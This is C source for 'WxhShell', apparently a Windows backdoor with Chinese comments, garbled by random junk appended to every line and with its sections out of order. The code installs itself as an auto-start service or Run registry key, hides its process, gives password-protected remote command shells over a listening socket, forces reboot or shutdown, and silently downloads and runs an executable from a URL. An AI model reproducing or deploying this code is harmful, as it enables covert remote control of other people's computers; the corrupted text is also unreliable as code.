    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %d%?\jVb  
    if(Boot(SHUTDOWN)) aAG']y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S\Le;,5Z  
    else { l-S0Gn/'X  
    closesocket(wsh); ~*<`PDO?  
    ExitThread(0); q/d?c Lgl  
    } yPs6_Qo!p  
    break; >yHtGIHe-  
    } 5SmJ'zFO  
  // 获取shell *ZFF$0}  
  case 's': { iHK.hs;  
    CmdShell(wsh); P#`M8k  
    closesocket(wsh); z%iPk'^  
    ExitThread(0); z( }w|  
    break; -;FAS3(wy  
  } ;Krb/qr4_  
  // 退出 5h0Hk<N  
  case 'x': { 5X>~39(r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \NEk B&^n  
    CloseIt(wsh); )+=Kh$VbS  
    break; c_?^:xs:d  
    } ,2+d+Zuh  
  // 离开 -Fu,oEj{*  
  case 'q': { kM&-t&7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xXa4t4gR  
    closesocket(wsh); T?6<1nU)  
    WSACleanup(); $#2<f 6  
    exit(1); FQ`1c[M@  
    break; !H{>c@i  
        } mH4u@aQ}  
  } HavlN}h  
  } @)vQ>R\k<  
"@/pQoLy  
  // 提示信息 `~"'\Hw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :@ VCKq!  
} ,S(s  
  } >goHQ30:  
5?? }9  
  return; ysl#Rwt/2  
} yWE\)]9  
D .LR-Z  
// shell模块句柄 /!A"[Tyt  
int CmdShell(SOCKET sock) 4[MTEBx  
{ b-#lKW so  
STARTUPINFO si; D6+3f #k6  
ZeroMemory(&si,sizeof(si)); "5O>egt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a?8)47)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v+`'%E  
PROCESS_INFORMATION ProcessInfo; R5(([C1  
char cmdline[]="cmd"; vyB{35p$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (v|<" tv  
  return 0; \_6  
} 75R#gQ]EV  
+`>E_+Mp  
// 自身启动模式 (C"q-0?n  
int StartFromService(void) Xw<;)m  
{ n:) [ %on  
typedef struct GKSF(Tnj  
{ +PI}$c-|`  
  DWORD ExitStatus; SK^(7Ws~0  
  DWORD PebBaseAddress; .=t:Uy  
  DWORD AffinityMask; fjl 9*  
  DWORD BasePriority; rqdN%=C  
  ULONG UniqueProcessId; DI2e%`$  
  ULONG InheritedFromUniqueProcessId; ls!A'@J  
}   PROCESS_BASIC_INFORMATION; wVnmT94  
|YyNqwP`,  
PROCNTQSIP NtQueryInformationProcess; &FT`z"^  
D15-pz|Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~>lqEa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wy${EY^h  
CI-za !T  
  HANDLE             hProcess; L?N-uocT  
  PROCESS_BASIC_INFORMATION pbi; {=mGXd`x?l  
{6:*c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #OM)71kB8  
  if(NULL == hInst ) return 0; X;GU#8W  
4;CI< &S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y,Rr[i"j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G)t-W %D&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q/54=8*h0  
`XK\', }F  
  if (!NtQueryInformationProcess) return 0; l 'wu-  
j|K;Yi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qm:C1#<p   
  if(!hProcess) return 0; ~D4l64  
yt5<J-m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eI2HTFyT  
9X;*GC;d  
  CloseHandle(hProcess); PsXCpyY!s  
J` GL_@$q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $,U/,XA {E  
if(hProcess==NULL) return 0; Tq?Ai_  
q Tdwi?j_  
HMODULE hMod; $L6R,%c  
char procName[255]; 5V =mj+X?  
unsigned long cbNeeded; r~ f;g9I  
n5.sx|bI?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xsJXf @  
>c<xy>N  
  CloseHandle(hProcess); UdM2!f  
g0U?`;n$  
if(strstr(procName,"services")) return 1; // 以服务启动 #G F.M,O/h  
0 D '^:  
  return 0; // 注册表启动 Uuu2wz3O0  
} :H m'o}  
@P75f5p}<  
// 主模块  HB'9&  
int StartWxhshell(LPSTR lpCmdLine) I#O"<0 *r  
{ ; YQB  
  SOCKET wsl; g@4~,  
BOOL val=TRUE; :?g+\:`/0j  
  int port=0; d4\JM 65  
  struct sockaddr_in door; };9s8VZE  
w(S~}'Sg*P  
  if(wscfg.ws_autoins) Install(); iCg%$h  
1v`|mU}i,  
port=atoi(lpCmdLine); LDHu10l  
v G\J8s  
if(port<=0) port=wscfg.ws_port; 5=|h~/.k  
z+6PVQ  
  WSADATA data; A-=hvJ5T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WH1 " HO  
GF% /q:9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uK"FopUJ4i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o^UOkxs.  
  door.sin_family = AF_INET; sRT H_]c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ppvlU H5;  
  door.sin_port = htons(port); !8[A;+o3P  
}s<;YC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?z l<"u  
closesocket(wsl); NFEr ,n  
return 1; 9S}rTZkEq  
} :"!Z9l\@  
K&NH?  
  if(listen(wsl,2) == INVALID_SOCKET) { ;)CN=J!  
closesocket(wsl); 1 @t.J>  
return 1; O(8CrKYY  
} u_9c>  
  Wxhshell(wsl); 7>O`UT<t4@  
  WSACleanup(); 8uLS7\,$z  
o)@nnqa  
return 0; $ [fqTh  
8_HBcZWs  
} Nr2,m"R{  
i) X~L4gn  
// 以NT服务方式启动 +<F3}]]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PLs`Ci|`  
{ tR'RB@kJ  
DWORD   status = 0; 7R:Ij[dV  
  DWORD   specificError = 0xfffffff; |a#ikY _nd  
IA.7If&k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [j'!+)>_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;iKtv+"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fv8x7l7  
  serviceStatus.dwWin32ExitCode     = 0; @XzfuuE]  
  serviceStatus.dwServiceSpecificExitCode = 0; JP6 Noia  
  serviceStatus.dwCheckPoint       = 0;  AkS16A  
  serviceStatus.dwWaitHint       = 0; b:Zh|-  
c]#}#RJ`\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *.>@  
  if (hServiceStatusHandle==0) return; <zn)f@W  
+O 7( >a  
status = GetLastError(); ;#v3C;  
  if (status!=NO_ERROR) >\? z,Nin  
{ ZJ)Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Icg-rwa<Z  
    serviceStatus.dwCheckPoint       = 0; b,~pwbHf  
    serviceStatus.dwWaitHint       = 0; ^t gjs$M|  
    serviceStatus.dwWin32ExitCode     = status; [iq^'E  
    serviceStatus.dwServiceSpecificExitCode = specificError; E#rQJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vMou`[\WlJ  
    return; U; m@  
  } p+]S)K GZw  
ANw1P{9*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W9w(a:~hY  
  serviceStatus.dwCheckPoint       = 0; u]Vt>Ywu  
  serviceStatus.dwWaitHint       = 0; ~210O5^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  eu$VKLY*  
} 9 CZ@IFS  
-kLBq :M  
// 处理NT服务事件,比如:启动、停止 h0 92S|iY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |U{~t<BF#  
{ +CBN[/Z^i  
switch(fdwControl) d>)=|  
{ c{y'&3\  
case SERVICE_CONTROL_STOP: |f$+|9Q?  
  serviceStatus.dwWin32ExitCode = 0; a}NB6E)-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IL.bwt pQD  
  serviceStatus.dwCheckPoint   = 0; # 2^H{7  
  serviceStatus.dwWaitHint     = 0; #`|Nm3b  
  { f]%S FQ+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h?n?3x!(  
  } _%2ukuJ `  
  return; w(ZZTVW-  
case SERVICE_CONTROL_PAUSE: R)Mkt8v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O[MFp  
  break; RNB&!NC  
case SERVICE_CONTROL_CONTINUE: X(BxC<!D.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nN<,rN{ :  
  break; IWq\M,P  
case SERVICE_CONTROL_INTERROGATE: i&6U5Va,G  
  break; \D z? h  
}; /FXvrH(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T>nH=  
} 1 PdG1'  
fG>3gS6&  
// 标准应用程序主函数 *Ts$Hj[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q}B]b-c+E  
{ \a;xJzc9  
-avxH?;?7  
// 获取操作系统版本 >e6OlIW  
OsIsNt=GetOsVer(); Iga +8k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y2l;NSWU  
8o|C43Q_  
  // 从命令行安装 '1 2*'Q+{+  
  if(strpbrk(lpCmdLine,"iI")) Install(); RDDA^U7y#  
uNuFD|aQ.  
  // 下载执行文件 5Q8 H8!^  
if(wscfg.ws_downexe) { +fboTsp% H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M}11 tUl  
  WinExec(wscfg.ws_filenam,SW_HIDE); MhHh`WUGh  
} Fw-Rv'\  
w"[T  
if(!OsIsNt) { JGvhw,g  
// 如果时win9x,隐藏进程并且设置为注册表启动 3;Yd"  
HideProc(); qdpi-*2  
StartWxhshell(lpCmdLine); 3)W_^6>bM  
} HJg&fkHn1  
else ER9{D$  
  if(StartFromService()) BrSvkce  
  // 以服务方式启动 C=&n1/  
  StartServiceCtrlDispatcher(DispatchTable); $<)]~* *K  
else hq {{XQ  
  // 普通方式启动 zL+t&P[\  
  StartWxhshell(lpCmdLine); IowXVdm@6  
+=9iq3<yfS  
return 0; Yu" Q  
} oCkG  
].J;8}  
&D{!zF  
ZlC+DXg#S  
=========================================== Hm'fK$y(  
b3>zdS]Q  
]\|2=  
iupkb  
\`~YW<D  
]3,9 ."^  
" {~9HJDcM  
(OES~G  
#include <stdio.h> [8Y7Q5Had  
#include <string.h> |Y}YhUI&  
#include <windows.h> lFtEQ '}  
#include <winsock2.h> <FBH;}]  
#include <winsvc.h> Fl($0}ER  
#include <urlmon.h> Iv 3O8 GU  
QpQ2hNf  
#pragma comment (lib, "Ws2_32.lib") ~xY"P)(x;  
#pragma comment (lib, "urlmon.lib") ZJWpb  
&'k(v(>n,  
#define MAX_USER   100 // 最大客户端连接数 B6&[_cht  
#define BUF_SOCK   200 // sock buffer C@ q#s  
#define KEY_BUFF   255 // 输入 buffer [N~7PNdS  
en{p<]H  
#define REBOOT     0   // 重启 bs\k b-\R  
#define SHUTDOWN   1   // 关机 bK#ZY  
qgl-,3GY%N  
#define DEF_PORT   5000 // 监听端口 4t =Kt  
Pf4zjc  
#define REG_LEN     16   // 注册表键长度 '"7b;%EN'  
#define SVC_LEN     80   // NT服务名长度 ^GM3nx$  
vzfMME17  
// 从dll定义API 25`W"x_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N}VoO0I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GFPrK9T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q['D?)sy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {9Qc\Ij  
~cp=B>*(  
// wxhshell配置信息 3 xW:"  
struct WSCFG { T'7>4MT(  
  int ws_port;         // 监听端口 \9p.I?=  
  char ws_passstr[REG_LEN]; // 口令 [I%e Ro[  
  int ws_autoins;       // 安装标记, 1=yes 0=no W^^0Rh_  
  char ws_regname[REG_LEN]; // 注册表键名 g,WTXRy  
  char ws_svcname[REG_LEN]; // 服务名 X1P1 $RdkR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4.,|vtp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^kcuRJ0*$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 $%#n*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w)S 4Xi=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lct_6?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FLQke"6i0:  
j}Svb1A  
}; Ji,;ri2i  
:kI[Pf!z  
// default Wxhshell configuration X4:84  
struct WSCFG wscfg={DEF_PORT, ;sYDs71y  
    "xuhuanlingzhe", P]^8Enp  
    1, B0yGr\KJ  
    "Wxhshell", . mO8 ~Z  
    "Wxhshell", XN t` 4$L  
            "WxhShell Service", Q?j '4  
    "Wrsky Windows CmdShell Service", 0&NM=~  
    "Please Input Your Password: ", R?lTB3"  
  1, mB0`>?#i  
  "http://www.wrsky.com/wxhshell.exe", R&t2   
  "Wxhshell.exe" <75x@!  
    }; MwQtf(_  
NMw5ixl  
// 消息定义模块 c %Y *XJ'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @6DKw;Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |b='DJz2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bt1bTo  
char *msg_ws_ext="\n\rExit."; -}T7F+  
char *msg_ws_end="\n\rQuit."; K'8?%&IQ  
char *msg_ws_boot="\n\rReboot..."; 4IW90"uc  
char *msg_ws_poff="\n\rShutdown..."; 7lF;(l^Z>}  
char *msg_ws_down="\n\rSave to "; Gl{'a1  
o92BGqA>&  
char *msg_ws_err="\n\rErr!"; }T}c%p  
char *msg_ws_ok="\n\rOK!"; /KnIU|;  
o-_,l J7o^  
char ExeFile[MAX_PATH]; *$VeR(QN  
int nUser = 0; _+)OL-  
HANDLE handles[MAX_USER]; [?<v|k  
int OsIsNt; n3V$Xtxw  
M-Vz$D/aed  
SERVICE_STATUS       serviceStatus; J:uFQWxZ   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )N^fSenFBn  
c{D<+XM  
// 函数声明 ]S?G]/k}  
int Install(void); F3!6}u\F  
int Uninstall(void); &-NGVPk81`  
int DownloadFile(char *sURL, SOCKET wsh); W=S^t_F  
int Boot(int flag); ^o C>,%7  
void HideProc(void); qrOesSdc  
int GetOsVer(void); 9b-4BON{P  
int Wxhshell(SOCKET wsl); %<Qv?`B  
void TalkWithClient(void *cs); &=%M("IlD  
int CmdShell(SOCKET sock); ;A"i.:ZT  
int StartFromService(void); tD}{/`{_t  
int StartWxhshell(LPSTR lpCmdLine); ! Y UT*  
QrSO%Rm1*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A;ZluQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K( MZ!>{  
`_neYT  
// 数据结构和表定义 rFC9y o  
SERVICE_TABLE_ENTRY DispatchTable[] = ; 1?L  
{ yP-$@Ry  
{wscfg.ws_svcname, NTServiceMain}, .aWwJZ=[  
{NULL, NULL} &u"mFweS  
}; $@{ d\@U  
90J WU$K  
// 自我安装 fRk'\jzT  
int Install(void) %T<c8w}dP  
{ 1M_6X7PH  
  char svExeFile[MAX_PATH]; [}Rs  
  HKEY key; eUa:@cA  
  strcpy(svExeFile,ExeFile); ri3*~?k00  
^Bw"+6d  
// 如果是win9x系统,修改注册表设为自启动 Y~( 8<`^  
if(!OsIsNt) { 2" v{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IwbV+mWQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vfq-H/+  
  RegCloseKey(key); 2}P{7flDY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g(jn /Cx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lnMU5[g{  
  RegCloseKey(key); kJ .7C  
  return 0; HCktgL:E=  
    } I )% bOK]  
  } [ot+EA  
} -ImO y|  
else {  W>x.*K  
XI ><;#  
// 如果是NT以上系统,安装为系统服务 Bz,Xg-k+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y>nQ<  
if (schSCManager!=0) 4ee-tKH  
{ 0Iyb}  
  SC_HANDLE schService = CreateService '|tmmoY6a:  
  ( Frx_aGLH1  
  schSCManager, :%fnJg(  
  wscfg.ws_svcname, /^~)iTwH  
  wscfg.ws_svcdisp, y(C',Xn  
  SERVICE_ALL_ACCESS, 44^jE{,9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ] :](xW%  
  SERVICE_AUTO_START, !YM:?%B  
  SERVICE_ERROR_NORMAL, ~:0U.v_V  
  svExeFile, *&_(kq z'1  
  NULL, 0'5N[Bvp  
  NULL, ?v+el,  
  NULL, GIkVU6Q}  
  NULL, '|%\QWuZ  
  NULL ~-yq,x  
  ); z^KBV ^n  
  if (schService!=0) n? ^oQX}.\  
  { aNICSxDN  
  CloseServiceHandle(schService); \H PB{ ;  
  CloseServiceHandle(schSCManager); sA"B/C|(g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7}mr C@[i  
  strcat(svExeFile,wscfg.ws_svcname); uXGAcUx(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |hvclEu,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xf:|lQf  
  RegCloseKey(key); tOQnxKzu  
  return 0; C2hB7?UGN  
    } >IKIe  
  } 6SAYe%e  
  CloseServiceHandle(schSCManager); zP!j {y4w  
} 7;#o?6!7  
} PMj!T \B|  
$U^ Ms!'L  
return 1; V1,4M_Z  
} !|,djo!N  
*2m{i:3  
// 自我卸载 #("E) P  
int Uninstall(void) N71%l  
{ k <LFH(  
  HKEY key; 7X/B9Hee  
x)kp*^/  
if(!OsIsNt) { YO.+ 06X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sdQ "[`~2R  
  RegDeleteValue(key,wscfg.ws_regname); *APTgXYR  
  RegCloseKey(key); SQG9m2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qHYoQ.ke  
  RegDeleteValue(key,wscfg.ws_regname); oHethk  
  RegCloseKey(key); ) @f6  
  return 0; Hq <!&  
  } [-=y*lx %g  
} }K 2fwE  
} |s !7U  
else { W_]onq 6  
\q|<\~A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {k<mN Y  
if (schSCManager!=0) > a8'MK  
{ A9y3B^\*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Rr +Uzb(  
  if (schService!=0) $r(9'm}W  
  { ~Y7:08  
  if(DeleteService(schService)!=0) { J}VG4}L  
  CloseServiceHandle(schService); ]n4G]ybK%  
  CloseServiceHandle(schSCManager); 5mI}IS|@  
  return 0; f5t/=/6>F  
  } &UX:KW`=  
  CloseServiceHandle(schService); @ql S #(  
  } HUGhz  
  CloseServiceHandle(schSCManager); S),acc(d  
} H')8p;~{}  
} I^gLiLUN*6  
2Ni {fC?  
return 1; gp]T.ol  
} oMb@)7  
kfs[*ku  
// 从指定url下载文件 Uj)`(}r  
int DownloadFile(char *sURL, SOCKET wsh) 5oY^; )\/  
{ K!|J/W  
  HRESULT hr; yRldPk_  
char seps[]= "/"; _VLA2#V>   
char *token; !='L`.  
char *file; ^" UZ.@sq'  
char myURL[MAX_PATH]; k4~2hD<|  
char myFILE[MAX_PATH]; u_%L~1+'  
z~RE}k  
strcpy(myURL,sURL); :>m67Zq  
  token=strtok(myURL,seps); +nQp_a1{9%  
  while(token!=NULL) a`;nB E  
  { ^[hx`Rh`t  
    file=token; S,qEKWyLd  
  token=strtok(NULL,seps); t|}}#Z!I[f  
  } /9@ VnM  
@A8@j%CK1  
GetCurrentDirectory(MAX_PATH,myFILE); :z%q09.)  
strcat(myFILE, "\\"); %1kIaYZ  
strcat(myFILE, file); 78t:ge eX  
  send(wsh,myFILE,strlen(myFILE),0); yo!Y%9  
send(wsh,"...",3,0); kuo!}QFL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HV8=b"D"  
  if(hr==S_OK) AP/#?   
return 0; PI$K+}E  
else ->a |  
return 1; Ox&]{  
8QFg6#"O  
} {*K7P>&  
*w23(f  
// 系统电源模块 X~ g9TUv8  
int Boot(int flag) %"BJW  
{ QJtO~~-  
  HANDLE hToken; %@Nu{?I  
  TOKEN_PRIVILEGES tkp; <4%vl+qW  
.%+y_.l  
  if(OsIsNt) { Q?{^8?7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &O^t]7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FZ=xy[q]~  
    tkp.PrivilegeCount = 1; A\)~y{9bQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \MB$Cwc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V5bB$tL}3  
if(flag==REBOOT) { LHd9q ^D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x^)W}p"  
  return 0; JO&L1<B{v  
} K4Hu0  
else { 6=g! Hs{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V ^hR%*i'  
  return 0; i&\ c DQ 3  
} #= @?)\~  
  } k83S.*9Mx  
  else { L=V.@?  
if(flag==REBOOT) { C,VvbB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E5g|*M.+f  
  return 0; &ZI-#(P  
} U*7x81v?j  
else { |?4NlB6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y@2yV(m)o  
  return 0; ?OVje9  
} #.@-ng6C  
} o8u;2gZx  
X \qG WpN%  
return 1; aBWA hn  
} 4XIc|a Aa  
9G^gI}bY  
// win9x进程隐藏模块 Z^_gS&nDa~  
void HideProc(void) YZ^mH <  
{ 40HhMTZ0-  
#;/ob-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1EA#c>I$  
  if ( hKernel != NULL ) d VyT`  
  { 3U%kf<m=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R0YWe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K#xL-   
    FreeLibrary(hKernel); 2$FH+wuW  
  } e$o]f"(  
`j!XWh*$  
return; % !Ih=DZ  
} w[OUGn'  
@z>DJ>htN  
// 获取操作系统版本 )8;At'q}  
int GetOsVer(void) ~9n30j%]s  
{ L"}tJM.d  
  OSVERSIONINFO winfo; d8K|uEHVz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); . :~E.b  
  GetVersionEx(&winfo); 40}7O<9*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [I`:%y  
  return 1; -9(pOwN |m  
  else }Dx.;0*:  
  return 0; ]Wtg.y6;  
} }/M muPp  
lESv  
// 客户端句柄模块 ew<_2Xy"<  
int Wxhshell(SOCKET wsl) cc0T b  
{ 'PWA  
  SOCKET wsh; @S1Z "%S  
  struct sockaddr_in client; NiD_v  
  DWORD myID; 'zOB!QqA`v  
HYl~)O>  
  while(nUser<MAX_USER) k5)a|  
{ _fS4a134R  
  int nSize=sizeof(client); 2 ])e}& i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sm;@MI<@/  
  if(wsh==INVALID_SOCKET) return 1; `N8t2yF  
}VeE4-p B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c&C*'c-r  
if(handles[nUser]==0) z0@BBXQ`  
  closesocket(wsh); ox5WboL  
else Z?u}?-b1\H  
  nUser++; 3%)@c P:?  
  } DhXV=Qw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UjS+Ddp  
/[E2+g  
  return 0; ZmmX_!M  
} zxkO&DGRbN  
~I;|ipK4m  
// 关闭 socket %F\.1\&eE  
void CloseIt(SOCKET wsh) 7[I +1  
{ 2"_5Yyb  
closesocket(wsh); zwk& 3  
nUser--; O_L>We@3E  
ExitThread(0); a[p$e?gka  
} tXcZl!3x  
s"R5'W\U  
// 客户端请求句柄 N5zx#g  
void TalkWithClient(void *cs) Po*!eD  
{ & H8  %  
3n~O&{  
  SOCKET wsh=(SOCKET)cs; qiH)J- ~GZ  
  char pwd[SVC_LEN]; m|3 Q'  
  char cmd[KEY_BUFF]; 88l1g,`**  
char chr[1]; u;+8Jg+xH/  
int i,j; 8:[ l1d86  
|K9*><P?)2  
  while (nUser < MAX_USER) { I51I(QF=  
Vh>|F}%E  
if(wscfg.ws_passstr) { uU%Z%O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LW k/h 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W8F@nY  
  //ZeroMemory(pwd,KEY_BUFF); sR/y|  
      i=0; $9P=  
  while(i<SVC_LEN) { 5)A[NTNJx  
&j,# 5f(  
  // 设置超时 cg_ " }]Y1  
  fd_set FdRead; ~'F.tB  
  struct timeval TimeOut; H3 -?cy  
  FD_ZERO(&FdRead); e=3C*+lq\  
  FD_SET(wsh,&FdRead); ?d+ri  
  TimeOut.tv_sec=8; X ]W)D S  
  TimeOut.tv_usec=0; hV:++g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "!CVm{7[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K+"3He  
HJBGxy w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N3N~z1x0h  
  pwd=chr[0]; gu:vf/  
  if(chr[0]==0xd || chr[0]==0xa) { F{^\vFp  
  pwd=0; Z_fwvcZ?05  
  break; P^!g0K  
  } @ qi|}($  
  i++; )O5@R  
    } :{4C2qK>  
(H"{r  
  // 如果是非法用户,关闭 socket  q*94vo-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yEk|(6+^  
} }ice*3'3  
vKWi?}1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K1o>>388G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r+h%a~A#>  
Xu E' %;:  
while(1) { !&:Cp_  
 ? 8/r=  
  ZeroMemory(cmd,KEY_BUFF); zliMG=6  
}zxf~4 1  
      // 自动支持客户端 telnet标准   % 8wBZ~1-  
  j=0; 0U:X[2|)  
  while(j<KEY_BUFF) { JdLPIfI^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9HEqB0|ZRu  
  cmd[j]=chr[0]; 7r^Cs#b+I  
  if(chr[0]==0xa || chr[0]==0xd) { (>E/C^Tc%  
  cmd[j]=0; #d*0 )w  
  break; RyU8{-q  
  } 5*+DN U@  
  j++; DBG0)=SHy  
    } LT>_Y`5>  
hW'b'x<  
  // 下载文件  v\CBw"  
  if(strstr(cmd,"http://")) { A FBH(ms't  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j}d):3!  
  if(DownloadFile(cmd,wsh)) mZc;n.$U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|W&tB *  
  else $${3I4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQ~GE}[  
  } /W`CqJk-*.  
  else { Ook\CK*nKe  
CM$&XJzva  
    switch(cmd[0]) { rk4KAX_[  
